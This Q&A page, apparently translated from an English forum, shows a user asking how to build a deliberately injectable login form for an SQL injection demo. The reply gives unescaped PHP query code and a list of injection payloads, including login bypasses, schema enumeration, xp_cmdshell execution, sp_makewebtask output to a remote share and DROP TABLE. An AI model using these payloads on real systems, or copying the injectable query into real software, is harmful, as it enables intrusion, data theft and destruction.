当前位置：文江博客话题详情

如何创建 SQL 注入测试站点

发布于 2024-11-19 10:13:17 字数 117 浏览 1 评论 0原文

我想创建一个简单的登录和注册表单，它允许我演示 SQL 注入，但目前我还无法这样做。每次我尝试使用示例表单时，SQLmap 都无法攻击它。有人可以给我一个非常简单和基本的登录和注册表单，我可以用它来演示 SQL 注入吗？

原文

分享到QQ

分享到微博

如果你对这篇内容有疑问，欢迎到本站社区发帖提问参与讨论，获取更多帮助，或者扫码二维码加入 Web 技术交流群。

发布评论

需要登录才能够评论，你可以免费注册一个本站的账号。

爱殇璃 2024-11-26 10:13:17

只需运行最简单的不受保护的查询：

$query = "SELECT * FROM users WHERE username = ".stripslashes($_POST['username'])." AND password = ".stripslashes($_POST['password']) 尽情享受吧

！如果您尚未禁用 magic_quotes（应该如此），则可以使用 stripslashes() 部分，以避免某些自动转义；否则你将拥有最纯粹的可注入输入，只需拿起你可能在互联网上找到的任何 sql 注入并查看即可。一些例子：

' or 1=1--
' or 1--
' or 1
\" or '1'
' or 1=1--
' OR ''='
' or 'a'='a
') or ('a'='a
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
'; EXEC master..sp_makewebtask \"\\10.10.1.3\share\output.html\", \"SELECT * FROM INFORMATION_SCHEMA.TABLES\"",
10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%w%') AND ''='
' OR EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%j%') AND ''='
' OR EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='test' AND TABLE_NAME='one') AND ''='
' OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA LIKE '%j%')>1 AND ''='
' OR EXISTS(SELECT * FROM users WHERE name LIKE '%r%') AND ''='
1;DROP TABLE `users`

等等

Just run the simplest unprotected query:

$query = "SELECT * FROM users WHERE username = ".stripslashes($_POST['username'])." AND password = ".stripslashes($_POST['password'])

and enjoy! The stripslashes() part is there in case you haven't magic_quotes already disabled (as it should be), to avoid some automatic escaping; otherwise you'll have purest injectable input, just pick up any sql injection you might find on the internet and see. Some example:

' or 1=1--
' or 1--
' or 1
\" or '1'
' or 1=1--
' OR ''='
' or 'a'='a
') or ('a'='a
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
'; EXEC master..sp_makewebtask \"\\10.10.1.3\share\output.html\", \"SELECT * FROM INFORMATION_SCHEMA.TABLES\"",
10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%w%') AND ''='
' OR EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%j%') AND ''='
' OR EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='test' AND TABLE_NAME='one') AND ''='
' OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA LIKE '%j%')>1 AND ''='
' OR EXISTS(SELECT * FROM users WHERE name LIKE '%r%') AND ''='
1;DROP TABLE `users`

And so on

回复收藏 0 原文